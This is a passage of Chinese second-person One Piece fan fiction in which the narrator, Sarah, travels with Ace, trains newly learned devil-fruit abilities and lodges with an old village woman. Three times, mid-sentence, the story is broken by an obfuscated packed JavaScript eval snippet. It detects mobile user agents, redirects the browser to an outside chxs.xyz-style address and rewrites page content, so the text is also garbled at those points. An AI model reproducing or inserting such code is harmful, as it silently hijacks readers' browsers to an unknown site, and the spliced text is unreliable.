“没关系,我已经不在意了。” 你的释怀让艾斯怔在原地。按照他原定的设想,你应该不会原谅他,或许还会骂他。可你都没有,对他的态度和之前的没有区别。 这是好事还是坏事?艾斯不知道,但心里微妙的不甘足以说明,他对这个结果并不满意。 压抑住内心的不甘,艾斯朝你露出灿烂的笑容。 “那萨拉接下来有什么打算?” 回白团的事被你抛到脑后,目前的话,或许你该继续学习些有用的能力。 “再学几个能力吧,差不多就回去。你呢?” 闻言的艾斯了然点头,随后告诉你他的打算。 “我跟着你。毕竟这次出来,我就是来找你的。” 听到熟悉的话,你想到的是上次艾斯遇到蒂奇的事。可以的话,你是希望艾斯回白团的。但昨天艾斯的反应足以说明,现在的他并不想回去。 与其和艾斯分开行动,不如让你看着他要来的安心。理清思路后,你接受了艾斯和你同行的现状。 “看来接下来不用蹭船了。” 听到关键词的艾斯不解地问道:“蹭船?” 看着艾斯隐约浮现在发顶的问号,你斟酌了下措辞,和艾斯解释起了你的蹭船之旅。结果听完你的解释后,艾斯笑得直不起腰来。 你用无奈的眼神看着艾斯,直到他止住笑意为止。 “好有意思,不愧是萨拉。” 要是没遇到艾斯,你现在就要在港口选“幸运星”了。现在好了,省掉了一大步。 “接下来有艾斯陪着我,我也不用蹭船了。” 艾斯无比赞同地点头。 “是啊,船的事就交给我吧!” - 马尔科的电话是在蜂巢岛事件在报纸上刊登的第二天打来的。电话虫响起时,你和艾斯还在前往下一座岛的路上,报纸也是刚买没来得及看的。 你和艾斯看着一直在叫的电话虫,看了好一会儿都没下定决心接电话。直到电话虫叫累了,于心不忍的你才示意艾斯接电话。 见你没意见,艾斯拿起话筒,在马尔科“终于接通了”的声音中开口询问此次打电话的目的。 “哟,打电话给我是有什么事吗?” 马尔科:“还好说,你不是去找萨拉的吗?怎么两个人找到蒂奇那里去了yoi?” 上来就是重点,以至于你和艾斯面面相觑,愣是没人敢接马尔科的话。但马尔科可不是你们不出声就会挂电话的类型,和他一起的人也不是。 “我知道你也在那里,萨拉。” 是以藏的声音。 看着电话虫脸上浮现出以藏的表情时,因马尔科问罪而吊起的心脏,已经提到嗓子眼了。 你想向艾斯寻求帮助时,以藏无奈又像是怀念的声音再次响起。 “不打算和我说两句吗?这两年来我都很想你,萨拉。” 骗人。如果真的想你,为什么两年都不来找你?只要以藏和老爹他们说,他们还是会给他生命卡的。 你试图说服自己不去记住以藏的话时,以藏换了个话题。 “这次在蜂巢岛没有受伤吧?” 再简单不过的两句话,在眼眶里打转的眼泪还是落下了。电话里的人看不到你的表情,离你最近的艾斯则是赶在你出声前打断了以藏继续攻略你的对话。 “没有!我们都很好,现在正在前往下一座岛。” “要是没什么要说的,我就挂了。” 深知艾斯性格的马尔科急忙出声打断艾斯挂电话的行动。 “谁说没有话说的yoi!” 准备把话筒放回去的艾斯停下了动作,看着电话虫生气的表情把手中的话筒放在你和他都听得见的位置上。 “老爹让你们回来,别在外面乱来。” “特别是萨拉,你还没看新发的悬赏令吧?里面有你的悬赏令了。” 像是听到了马尔科说的话一样,还没打开的报纸里掉出了新的悬赏令,里面是你和艾斯还有罗的悬赏令。 本就有悬赏令的两人赏金升了些,你还没看清楚时,打量着你悬赏令的艾斯睁大了眼睛,还确认了好几遍上面的金额。 还没来得及看的你看向艾斯,确认完赏金的艾斯说出了他的看到的金额。 “五、五亿...快赶上以藏的赏金了。” 还通着电话的马尔科听到了艾斯的声音,就着这个话题继续说他的事。 “没错,现在的萨拉不像以前一样安全了,所以你们赶紧回船上。” “只有这样,才能确保萨拉是安全的。” 咋听之下很有道理的话,在你听来又是另一层意思。好的方面是,白团的大家还把你当船上的一员;坏的方面,则是他们认为现在的你还没有在新世界自保的能力。 复杂的情感让你忘记流泪。许是迟来的叛逆期,向来都听他们话的你,第一次萌生了和他们反着来的心情。 你深呼吸一口气,拿起放在快艇上的话筒,对着电话里头的人表明自己的想法。 “即使有悬赏令,我也是安全的。” “我已经不是需要被你们保护才敢上岛和出海的孩子了。” “等我的办完我的事,我就回去。” 说完,你赶在马尔科他们说话前挂掉了电话。而在一旁围观了全程的艾斯,楞了好一会儿才回过神。他反应过来的第一件事,就是为你刚才做的事笑出声来。 鉴于艾斯的笑声太大,想在你们船上歇脚的海鸥都不敢停息,加快速度飞离你们的上空。还在整理心情的你很无奈,一脸无奈地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986890|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着艾斯笑完。 勉强笑够的艾斯擦掉眼角溢出的泪,和你解释起他笑的原因。 “抱歉、只是觉得刚才的萨拉很不一样。” 类似这样的话,你在夏琪那里听过。但艾斯说的是哪里不同,你就不清楚了。好在艾斯没让你为这个问题纠结,大方告诉你他觉得不同的点。 “总觉得现在的萨拉,比在船上时更有精神了。” 回想起你下船后遇到过的人和事,确实,每个人都给你带来不一样的感触,你会有所变化也是正常的。 “虽然知道艾斯是在夸我,但这句话听上去像是说我在莫比迪克上不开心一样。” 闻言的艾斯急忙摆手:“没有、我不是这个意思!” 眼见艾斯就要急出火花了,被艾斯逗笑的你放过了他。 “我知道,没有怪你的意思。” 想起刚才说过的话,你上扬的嘴角变得苦涩。 “只是觉得出来这么久,我还是没成长到让老爹他们放心的程度有点失落罢了。” 即使你出来的目的只是为了让自己和以藏都好受点,还是希望自己能成长到不需要被保护的程度。 注视着你的艾斯咽下了到嘴边的话。 - 艾斯看见了,看见名为“罗”的人和你接吻的画面。不,应该是你被迫接受了罗的吻。 你没有生气,还对罗笑了。可这样的你,还在因他白天说过的话而生气。艾斯知道那句话给你带来的伤害很大,所以他想和你道歉。 结果因为各种各样的事,他错过了最佳的时间,还窥见了不得了的事。你没有发现他的存在,罗却在你离开时转过头,朝他露出初见时的冷笑。 啧。向来不会对初见的人不悦的艾斯第一次觉得罗碍事,即使他算是你半个朋友,或许只能算得上熟人,他也无法心平气和的和罗相处。 同理,对你虎视眈眈的罗也不见得想和他交好就是了。 他也不是不知道你离开船后遇到了什么人,即使早有心理准备,真的看见你和以藏以外的人在一起时,艾斯还是压抑不住心里的负面情绪。 或者说,他也无法习惯你和以藏在一起时的画面。 明明他这么担心你,为什么你不能回头看他一眼? 所以在他道歉时,你用似长姐的态度原谅他时,他更希望你能和他生气。吵架也好,哪怕不原谅想动手,他的心情也比你轻易原谅他时要来的雀跃。 你们不是朋友吗?他不需要你用长者的态度包容他,他希望你能像在其他人面前一样,理所当然地对他流露出不一样的情绪。 可他没有资格要求你做这些,因为他不想让你讨厌他,也不想让你有理由将他从你身边赶走。 所以,接下来的航海他会陪着你一起出行。只有这样,才能缓解他这两年对你的思念,才能将对船上的人说过的身世,一字一句地和你说清楚。 饶是艾斯很确定,你会和船上的伙伴一样接受他的身世,无法克制的不安和恐惧还是令他无法见面就说出口。他需要时间来调整心态,也需要时间缓和这两年来对你的思念。 再等等吧,等到合适的时机。 33.黑发魔女 你不怎么在意外界对你的评价,但悬赏令上“黑发魔女”的代号让你无法接受。既没有艾斯的好听,也没有罗的有威慑力,你甚至怀疑起代号的人是找不到特征才随便命名的。 可以的话,你想换个更有威慑力的代号。考虑到悬赏令已经发遍整片大海,你放弃了上门找海军理论的想法。但说到海军,你光顾着罗的事,都忘了一年前说过的事了。 没错,你要给卡普写感谢信。想到卡普的实力和海军对你的警戒性,你觉得还是放弃为好。 但学习能力这个目的不能放弃,不然你和马尔科他们说的话就成空话了。为了节省时间,你到下一座岛做的第一件事,就是从公告栏上找合眼缘的能力者作为你的学习目标。 “这个看上去不错。” 你顺着艾斯指的方向看去,悬赏令上的海贼是三亿的能力者,据说能力用的好时能和七武海一较高下。当然,这些传闻听听就好,都是越传越离谱的。 即使如此,你目前也找不到其他合眼缘的学习对象,就听艾斯的吧。 “找他切磋一下吧。” 选好目标后,你和艾斯在当地打听目标对象的信息。每个村民提到他时,脸上都时不加掩饰的恐惧,可见他们深受他的折磨。 “他们住哪也打听清楚了。除了那个海贼,好像还有几个能力者,不知道能不能一网打尽。” 你在脑海里循环着村民提供的信息,一言不发的艾斯站在一旁听你的碎碎念。直到你说完了想说的话看向艾斯时,后者朝你露出了灿烂的笑容。 “果然,萨拉想的很周到,不愧是当过中将的人?” 艾斯的话让你意识到自己说的话不像个海贼,更像是准备围剿海贼的海军。即使如此,艾斯也没有恶意,更多是赞赏的语气。 换做一年前的你,估计会为此纠结好一会儿,现在的你则是不把这些当回事了。不管是什么身份,那都是你成长的一部分。 “都是过去的事了。不管是什么身份,我终究是我。比起这个,等下艾斯去找住的地方吧,我一个人去会会他们。” 闻言的艾斯有一瞬的失神,你不确定让艾斯失神的是哪句话,但回过神的艾斯拒绝了你的提议。 “不要,我也要见识一下他们的能力。” 说完,艾斯就迈开步伐,朝村民指的方向行进。见状,你只能作罢,跟着艾斯离去的方向前进。 “先说好,这是我的事,你不能随便出手。艾斯出手的话,我就没有学习的机会了。” 面对你的附加条件,艾斯有些不满,却还是应下了。 “欸——好吧,我会乖乖待在你身后的。” - 许是报纸和悬赏令的作用,你还没出手,目标对象的海贼团就认出了你,有的惊慌失措地喊着“黑发魔女”,还有的则是盘算着抓到你后换来的赏金用在哪。 对于眼前乱成一团的海贼团,你觉得罗空间转换的能力配武装色的拳头挺合适的。虽然耗体力,但随时都能出现在目标死角给对方致命打击的惊吓很有意思。 未曾见过你这么战斗的艾斯在一旁发出惊叹,看着你像拍蚂蚱一样,把没有武装色霸气的海贼都拍倒在地上,直到据点里只剩下能力者时,你才喘口气。 看着眨眼的时间就只剩几个人的场景,目标海贼瑟瑟发抖,看向你的眼神里只有恐惧。 在此之前,你觉得自己没什么奇怪的癖好。现在的话,你似乎能理解为什么罗喜欢把所有人弄得乱七八糟了,这种感觉怪上头的。 “啊,这样不说的我也是怪人。” 但怪人也不错,至少不是被掠夺的一方。 在你喘气的时间里,惊慌失措的目标海贼也冷静下来了,用能力对你发起攻击。 目标海贼能将碰触的物品变成需要的武器,被你留下的两个能力者都是辅助的类型,一个是能将残缺物品恢复原状的,另一个则是改变物体大小的能力者。 不愧是有三亿船长的海贼团,三人的配合天衣无缝。一开始的你有些轻敌,让他们擦伤了手臂。注意力集中后,就没有他们的事了。 在他们没招使时,就是你出手的时间了。 “冰冻时刻——” 你把他们都冰住后,坐在一旁的艾斯凑上前来,观察着被冰住的海贼。在艾斯打转时,你用艾斯的能力给冷得发抖的身体升温,释放能力的手已经有薄薄一层的霜了。 注意到这点的艾斯也不管冰住的海贼了,用关切的目光看着你:“每次用完能力都会这样吗?怎么觉得你的副作用比开发能力时还严重了。” 融化掉右手上的霜后,你勉强从透心凉的寒冷中找到说话的力气。 “大概是因为我变强了?不过这些副作用怪麻烦的,所以平时我都不怎么喜欢用能力。” 好在冰和火的能力能中和一下副作用,不然你一时半会儿都动不了。听完你说的话的艾斯不仅没有安心,反而更担心了。 “身体真的没问题吗?要不还是回去让马尔科看一下吧。” “安啦,马尔科的能力我也能用一点,不会有什么问题的。” 经你这么提醒,艾斯想起你第二个学的就是马尔科的能力,便不再纠结这个问题了。 适应新的能力需要一段时间,所以你和艾斯就近找了废弃的木屋休息。 因为罗的能力很耗体力,采购生活用品的工作就交给艾斯了。 结果在你休息的时间里,买好东西的艾斯讪笑着和你抱歉。不等你搞清艾斯和你道歉的原因,你看到不远处喊着“火拳”的海军。 在你看到艾斯手上有海军标志的袋子后,你逐渐理解了一切,看向艾斯的目光变得无奈。 “艾斯......” “抱歉啦,我有点得意忘形了。不过别担心,我不会让萨拉受伤的。” 这么说着的艾斯将还没什么力气的你扛起,在海军的咒骂声带你跑向停着快艇的方向。 - 和艾斯在一起少不了意外,但这些意外都在你们能接受的范围里。 只要你们没人掉进海里,目前遇到的事都不算事。航海的路上还算顺利,除了不长眼的同行和海王类,基本没什么能让你们头疼。 即使如此,到达新的岛屿时,你还是希望艾斯能收敛点,让你有时间掌握新学的能力。 “我发誓,我不会闹出动静的。” 在你们走进小镇前,艾斯竖起三根手指向你发誓。对于艾斯的发誓,你持怀疑态度,所以还需要艾斯再做些保证。 “如果做不到呢?” 没想到你会对自己誓言上心到这个程度,被你看着的艾斯有些拘谨。 “那、那我就无条件帮你做一件能力范围内的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992226|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事?” 虽然你没什么想让艾斯做的,但这个承诺于你而言不亏。 “好,我记下来了。” 和艾斯说好后,你们才走进镇里。许是这座岛比较小,岛内的设施和人口都不多,一路上见到的都是老人居多。 为数不多的孩童看了你和艾斯一眼,就在长辈的催促声中赶回家了。 即使如此,知道你们是海贼时,和你们交谈的婆婆也是发出感叹后接受了现实,脸上的表情和刚开始交谈时没有变化,仿佛你们是海贼的事再正常不过的样子。 在你表达想找个房子住一段时间时,接待你们的婆婆欣然邀请你和艾斯在她家住下。 “我家就我一个老婆子,家里没什么人气。你们愿意住下来,就当看得起我老婆子了。” 你转头看向艾斯,后者回你一个没有意见的笑容。见艾斯没有意见,你向愿意收留你们的婆婆道谢,拿出了准备好的租金。 见状,婆婆把你递给她的袋子推回你的怀中。 “我一个老婆子哪里用得上这么多钱。真的想向我道谢的话,你们可以帮我做事抵消租金的。” 于是,你和艾斯就这么住下来了。 - 艾斯的性格很讨喜,几句话就把婆婆逗得笑不拢嘴,连认识婆婆的村民也在她的笑声中主动认识艾斯。 相较之下,一开始和婆婆交谈的你则是待在室内,练习刚学的能力。 把物品变大变小的能力适合装暗器,唯一不好的就是活物维持大小的时间有限。 修复的能力很有用,你觉得可以适当用在活物身上,开发新的用途。但过程有一定的风险,暂时不适合用在活物身上。 而你一开始当作目标的能力,似乎没有什么用途。你想,这大概和使用者有关吧。 在你思考怎么把能力最大化时,艾斯敲响了你的房门,随后说明了他的来意。 “萨拉,我要去后山替婆婆砍柴,你要一起去吗?” 后山吗?你看了眼房间的大小,果断决定和艾斯出门。比起狭小的房间,还是宽阔的后山更方便训练。 令你意外的是,你和艾斯出门时,来找婆婆的村民看你的眼神很微妙。 他们没有恶意,眼里的情感更多是了然和欣赏。你正想和他们打招呼时,艾斯先你一步和他们介绍你。 “这就是我说的萨拉,很好看吧?” 艾斯的声音引起了村民的共鸣。 村民A:“真人比艾斯说的还可爱。” 村民B:“要带这么可爱的小姑娘去山里吗?还是不要了吧,萨拉和我们在这里等艾斯吧。” 村民C:“对啊,我们会照顾好萨拉的。” 婆婆:“也是因为萨拉,我才愿意让他们住下的。” 面对婆婆和村民和蔼的对话,向来不把他人对自己评价放心上的你,第一次被夸红了脸,你只能讪笑着向他们道谢,随后在艾斯邀功的笑容中,凑到他耳边低语。 “你到底和他们说了什么啊......” 低下头的艾斯发出引以为豪的轻笑,在你耳边说出了他的答复。 “没什么,就是说和我在一起的萨拉人很好,也很好看。” 听完艾斯的解释后,你看到村民和婆婆和蔼的笑容,逐渐理解一切。 他们把你和艾斯当成一对了。 34.害羞 不是没想过和他们解释的,但你不敢肯定自己的猜想是正确的,只能把他们对你的夸赞当作普通的对话。 除开出门时遇到的小插曲,后山的景色还是不错的。一望无际的草地和清澈的湖水,充满大自然的感觉。重要的是,你可以放心地用湖边的物品检验自己的能力。 相较于到了后山就专注于能力实验的你,早早砍完柴,并将其捆扎成团的艾斯自由了。 可热爱自由的艾斯没有跑进后山的树林探险,而是几下爬上离你最近的树上,撑着腮看着树下研究能力的你。 你回想着使用新能力时的感觉,以及被你解决的三人运用能力时的默契,按制造到变换大小和恢复的顺序,折腾手下巴掌大的石头。 看着石头变成平底锅,又从脸盆这么大变成迷你平底锅,又恢复到初始的石头。 许是物品的大小和副作用挂钩,你反复试了好几次,也没见身体出现副作用。从刚才的试验中得出结论后,你对着手下的石头露出满意的笑容。 “这几个能力还挺好玩的。” 话语刚落,头顶的正上方传来了艾斯含笑的声音。 “是啊,看萨拉玩得这么开心,我都不想打断你了。” 意识到艾斯围观了你自娱自乐的全过程后,你为自己的注意力过于集中而忽视周围的事物感到无奈。万幸的是,在一旁的是艾斯,不是你的敌人。 也是看到艾斯,你想起了此次出行的主要目的:“婆婆让砍的柴呢?” 见你没有继续练下去的欲望,艾斯从树干上跳下来,精准落在你的跟前,朝你露出得意的笑。随后背起放在树后的柴,欣然走到你身旁的位置。 “已经砍好了,随时都能回去。” 艾斯自觉到这种程度,让你不禁开始怀疑自己的年龄。 “总觉得自己成了被照顾的一方。” 面对你扶额无奈的反应,艾斯倒是笑得很开心,仿佛他背上的柴是没有重量的羽毛。 “这又有什么关系,反正我们都是一起的。” ‘我们’吗?听到艾斯说出这个词时,你有些恍惚。自从和白团的大家分别后,你所遇到过的人和集体都是分开来称呼的。时隔两年再听到不分你我的称谓,你为此怀念的同时,心里的感触也不少。 即使如此,你也记得自己和婆婆谈好的条件是用劳动抵消住房的费用。艾斯做了一部分,作为房客之一的你,自然也要做点别的事。 “那晚餐就由我来做,不然就显得我很没用了。” 了解你性子的艾斯不做挣扎,欣然接受了你的提议。 “这么一说,我已经开始期待今晚的晚餐了!” 话语刚落,艾斯的肚子配合他的话唱起空城计。你和艾斯在过于寂静的氛围无言对视,四目相对了几秒,打破沉寂的是你们的笑声。 晚餐的食材是婆婆提供的蔬菜,作为无肉不欢的肉食者,艾斯看到放在厨台的菜面露苦色。正往厨房搬红薯干的婆婆看到艾斯的表情,慈祥地笑着和艾斯解释。 “抱歉啊,我们这里就是蔬菜比较多。” 对吃没什么要求的你伸手拍了拍艾斯的肩膀,压抑住嘴边的笑意。 “蔬菜也很好吃的。” 结果你的安慰没能让艾斯高兴起来,换来了艾斯无奈又可怜的眼神。当然,在婆婆看向艾斯前,艾斯就收回了可怜巴巴的表情。 “没有交天上金时,每家每户还是吃得起肉的。交了天上金后,除了村里的猎人能打点猎,平时都很少有人吃得起肉了。” 婆婆的话让你想起至今为止,都没在村里见到年轻人的影子。 “村里的年轻人呢?” 你拿过婆婆手上的红薯干,后者表情微怔,发出一声叹息。 “村里的年轻人不是出海当海贼,就是给去当海军了。剩下的年轻人...不搞破坏就不错了。” 闻言的你们转过头,眼神交汇那刻,艾斯露出了再熟悉不过的笑容。 “果然,我还是去山里找点肉吧!” 没给婆婆拒绝的时间,说完话的艾斯果断跑出门,眨眼的功夫就不见踪迹了。 望着艾斯离去的方向,和婆婆择菜的你不禁低笑出声。以防婆婆担心,你向婆婆做出保证。 “别担心,后山的动物打不过他的。” 婆婆则是盯着你看了一会儿,在你怀疑自己脸上是否有异物时,婆婆笑了。 “艾斯和萨拉的性格完全相反啊。” 类似这样的话,你在白团时就听了不少。从白团之外的人嘴中听到熟悉的话时,你回以婆婆温和又不失礼貌的笑容。 “是啊,所以我们能玩在一起很多人都觉得奇怪呢。” 也不知道是哪句话戳中婆婆的笑点,只见她嘴角上扬,摇着头低喃着让你无法理解的话。 “现在的年轻人啊...” 说完这句话,婆婆换了一个话题,让你没有机会就着刚才的话追问下去。 艾斯扛着熊回来了。因为熊的体积太大,村民都被艾斯带回来的熊吓一跳。 你和婆婆顺着嘈杂的声音走出门外,只见艾斯正在和村里的小孩聊着什么。余光扫到你时,踩在熊身上的艾斯跳了下来,走到你面前和你说起他的打猎过程。 “一进山就遇到它了,想着它也挺大只的,我就懒得再找别的动物了。这个应该可以料理吧?” 熊的体积不是问题,最大的问题是熊肉的腥味怎么除掉。想到这个,你看向艾斯的眼里多了几分无奈。 “我可没有萨奇那样的厨艺...只能说,勉强吃得下去吧。” 对于你的“勉强”,艾斯没有丝毫怀疑,回以毫无阴霾的笑容。 “那就拜托萨拉了!” - 万幸的是,村里还有擅长处理大型动物的高手。你乐得清闲,果断把处理熊的事让给了高手。 于是难得吃上一次肉的村民向你们表达了真挚的感激之情,上午见你们绕着走的孩童,现在正挂在艾斯的手上,用稚嫩的嗓音让艾斯把他们举高高。 你看着艾斯每只手臂上都挂着两个孩子,不禁为被孩子包围着的艾斯笑出声来。 见状,艾斯朝你露出可怜巴巴的表情,向落得清闲的你求助。 “萨拉...别只是看着嘛,人太多我举不起来啊。” 没等你回答,挂在艾斯身上的小孩先说话了。 小孩A:“欸——艾斯好弱啊,要向姐姐求助。” 小孩B:“就是就是!艾斯举不起我们!” 小孩C:“果然,还是让萨拉姐姐抱吧。” 小孩D:“萨拉姐姐身上有很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996516|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻的味道!” 眼见挂在自己身上的小孩就要投奔你的怀里,艾斯急忙改口稳住他们。 “我又没说不抱,一个个来吧,不然等下摔了可麻烦了。” 于是心向着你的小孩排着队等艾斯把自己举高高。期间,性格较为内敛的孩子也被艾斯和其他孩子的欢笑声吸引,回过神时,附近的小孩都在艾斯那排队等着举高高了。 围观了艾斯和他们玩耍的你被他们的笑声所感染,嘴角不禁上扬。 直到篝火浇灭,围着艾斯的孩子才在监护人的催促声中不舍地离开。你和艾斯目送着村民离开婆婆家的后院,见人走光了,艾斯才发出一声叹息。 “好久没和小孩玩过了。” 回想起刚才嫌举高高太无聊,围着艾斯的孩子又缠着他陪他们玩了各种游戏的画面,你就笑出声来。 “是啊,你都满头大汗了。” 你说着,从口袋里拿出手帕给艾斯擦掉额间溢出的水雾。还想说什么的艾斯定在原地,不敢动弹。 不知道是不是你的错觉,你总觉得艾斯身上的汗越擦越多,是哪里不舒服吗? “还、还是我自己来吧!” 没等你追问下去,耳郭泛红的艾斯从你手中拿过手帕,背对着你擦拭掉了额间的水雾。艾斯转过身时,他又恢复了以往你熟悉的笑容。 本想将手帕还给你的艾斯,在想到手帕被他用过后,即将放到你手中的手帕又被艾斯藏回身后。 “我洗干净再还给你吧。” 你摇头,拒绝了艾斯还给你的提议。这条手帕是你随手买的,且你本来就没有随身带手帕的习惯。这次会带,也是因为今晚的篝火晚会。 “不用还也可以。要是不介意,你可以接着用。” 被拒绝的艾斯了然地点头,思索片刻后,得出了新的结论。 “那这个就是萨拉送我的礼物了?” 等等,为什么会把不用还和礼物扯上关系?这个不等式令你感到迷茫。 “不、我不至于送你用过的手帕当礼物...” 然而认定这是你送的礼物的艾斯,正一脸高兴地将手帕塞进裤子的口袋里:“这么说,我也要送萨拉一件礼物了。” “其实不送也——” 没给你说完的时间,情绪高涨的艾斯半弯着腰凑到你面前,询问你的意见。 “是吃的还是用的好?还是你有什么特别想要的?” 显然,艾斯是铁了心要送你礼物。了解艾斯性子的知道,这种情况下你的解释也是浪费口舌,不如顺着艾斯的话题尽早结束对话。 “都可以。不管艾斯送的是什么,我都会收下的。还有,靠得太近了。” 你边说边后退两步,拉开和艾斯的距离。 目光落在你身上的艾斯注意到了你的举动,意识到自己过于亲近你的行为后,在他人面前开朗大方的艾斯脸上染上了赤色,学着你的动作后退两步。 鲜少见艾斯害羞的你觉得新奇,忍不住多看了两眼。结果没等你将艾斯害羞的样子记下来,察觉到视线的艾斯脸更红了,留下“我去收拾餐桌”的话,逃跑似的离开原地,留下你在原地。 所以,让艾斯害羞的到底是什么呢?想到艾斯脸上被染红的雀斑,你决定不去问艾斯,以防他过于害羞把木制的房子烧了。 35.困扰的事 在白团时你就觉得艾斯的睡眠质量很好。不然要怎么做,才能吃东西吃到一半就睡着呢?而和艾斯相反的你,睡眠质量就很迷。 即使还在梦中,你也能感觉到外界的动静。像是和你同时进房间入睡的艾斯,半夜又离开房间去了哪、又在之后回来的动静,你都很清楚。 所以你起来时,艾斯还在自己的房间睡得昏天地暗也是能理解的。考虑到你和艾斯的食量,以及今天的活动量,发现婆婆还没起床的你决定利用早起的时间给大家做早餐。 许是婆婆印象中的年轻人睡眠质量都不错,准备做早餐的婆婆看到你出现在厨房时,她被你吓了一跳。 “我睡得比较少,所以起床的时间会早点。婆婆有不能吃的东西吗?” 听完你的解释,回过神的婆婆摆了摆手:“老婆子没什么不能吃的,按你们的口味来做就行了。” “那婆婆在外面等我吧。” 婆婆和你说了食材放在哪后,就离开厨房让你自由发挥。能用的食材不多,闲置的面包、鸡蛋,还有昨天剩下的蔬菜,还有一些大米。 考虑到年轻人和老人的口味不同,你决定做几份简易的三明治,再煮个小米粥。不管剩哪个,中午都能接着吃。 煮小米粥的时间里,你将三明治所需要的蔬菜清洗干净后,在热好油的锅里敲下三个鸡蛋。煎完鸡蛋后剩下的油,便是加热面包的辅料。 再来就是将三明治的食材叠加在一起。在此期间,只有你一人和煮开粥的厨房里,多了一位“客人”。 “好香。” 顺着声源处望去,是刚睡醒的艾斯。他正站在厨房门口,嗅着厨房里食物的香味。和你对上视线时,悄无声息出现在厨房门口的艾斯朝你露出灿烂的笑容。 “早啊萨拉,有什么需要我帮忙的吗?” 来人是艾斯你就不客气了。 “早上好,艾斯,你可以帮我洗蔬菜。” 你指着一旁的蔬菜,站在门口的艾斯了然点头,随后走到一旁的洗手台,清洗还粘着泥的蔬菜。 一时间,小米粥煮开的声音,洗菜时的水声、和平底锅热油的响声组成厨房的主旋律。期间夹杂着你和艾斯的闲聊,像是某颗蔬菜的长相和其他蔬菜不太一样、菜里的虫子除了绿色还有别的颜色,还有今天的安排有什么的话题。 等你们把做好的早餐端上桌时,坐在客厅等早餐的婆婆朝你们露出慈祥的笑容。只是婆婆看向你们的眼里,多了几分意义不明的笑意。 吃早餐的时间里,没睡够的艾斯吃了几口就准备埋头睡在餐盘上。好在你的反应快,预判了艾斯的动作,用手阻挡了艾斯和三明治贴脸的事件。 第一次见这种事的婆婆很是惊讶,你准备和婆婆解释时,咽下一个三明治的艾斯又倒头就睡。养成习惯的你急忙伸手,扶住艾斯因你多次中断睡眠泛红的额头。 做完这件事后,你讪笑着和一脸惊讶的婆婆解释:“婆婆别担心,这是艾斯吃饭时常有的事。” 是拼起来就让婆婆摸不着头脑的话。但看艾斯在你无奈的叫声中醒来,讪笑着朝她道歉后又继续吃饭的互动,婆婆就安心了。 “原来是这样,不是身体不舒服就好。” 早餐基本都进了艾斯的肚子里,洗碗的自然也是艾斯。由于昨天艾斯砍柴砍得太卖力,厨房堆的柴火够用一段时间了,所以接下来的时间都是你和艾斯自由安排的。 你是准备去后山再练一下目前掌握的能力,艾斯原定计划是跟着你一起去的,但在你们出门的路上,昨天和艾斯玩得好的孩子缠上他了。 一口一个“陪我玩”,让艾斯只能作罢。 “我陪他们玩会儿,等下再去找你吧。” 围观了全程的你表示理解,还心情很好的和叫你“萨拉姐姐”的孩子打招呼。 “艾斯就拜托你们照顾了,我先去忙啦。” 被拜托的孩子们自豪地应下你的请求,开朗的孩子很拍着胸口说“交给我”。只有被你拜托给孩子们的艾斯一脸无奈。 “喂...什么叫照顾我啊。” 对于艾斯的抱怨,你笑吟吟地道出自己的看法。 “毕竟艾斯有时候很调皮啊。” - 昨天是练习能力的配合性,今天的练习你以掌握为目标。而掌握能力最快的方法,还得是实战。 这个岛上有没有海贼你不知道,从婆婆和艾斯的对话里可以得知,后山有不少猛兽。所以,后山的猛兽是你最好的对手。 动物的世界很简单,弱肉强食。只有用实力打服它们,才能站在它们身上发布号令。 许是你的外表很有欺诈性,你刚进山没多久,就被是你两倍体型的老虎盯上了。它没有冒然上前,而是在移动身形的同时,躲在树林里观察你,边走边发出疑似威吓你的叫声。 它想驱逐你?还是在做攻击的准备?你的见闻色无法预知未来,但老虎身上的攻击欲一览无余。 “虽然我没多少肉可以吃,但打一架不是问题。” 不管老虎是否听懂你的意思,你摆好攻击的架势,做好随时能和它打上一架的准备。 意识到自己被小看的老虎冲了出来,你克制住上来就用武装色霸气结束战斗的本能,随手抓起路边的石子,将它变成趁手的武器。 不用霸气纯用能力和老虎缠斗多少有点困难,可有来有往的战斗,让你的肾上腺飙升。新学的能力已经掌握的差不多了,你的体力也耗费了不少。 按照目前的战局来看,下一次攻击就能决出胜负了。胜利的肯定是你,因为你已经做好用武装色一拳打晕老虎的准备了。 饶是老虎再迟钝,经过刚才的战斗,它也知道自己不是你的对手。在你发起下一次攻势前,老虎主动趴下,向你示弱。 没能打出胜负固然可惜,但你的目的是掌握能力。能力掌握得差不多了,你又不打算杀死它,放它离开也没什么。 “不打了吗?那这片领地就归我了哦。” 见你没有攻击的准备后,趴下的老虎趁机起身,朝着来时的方向逃离。确认附近没有其他能威胁你的生物后,你坐在一旁的石头上喘气。 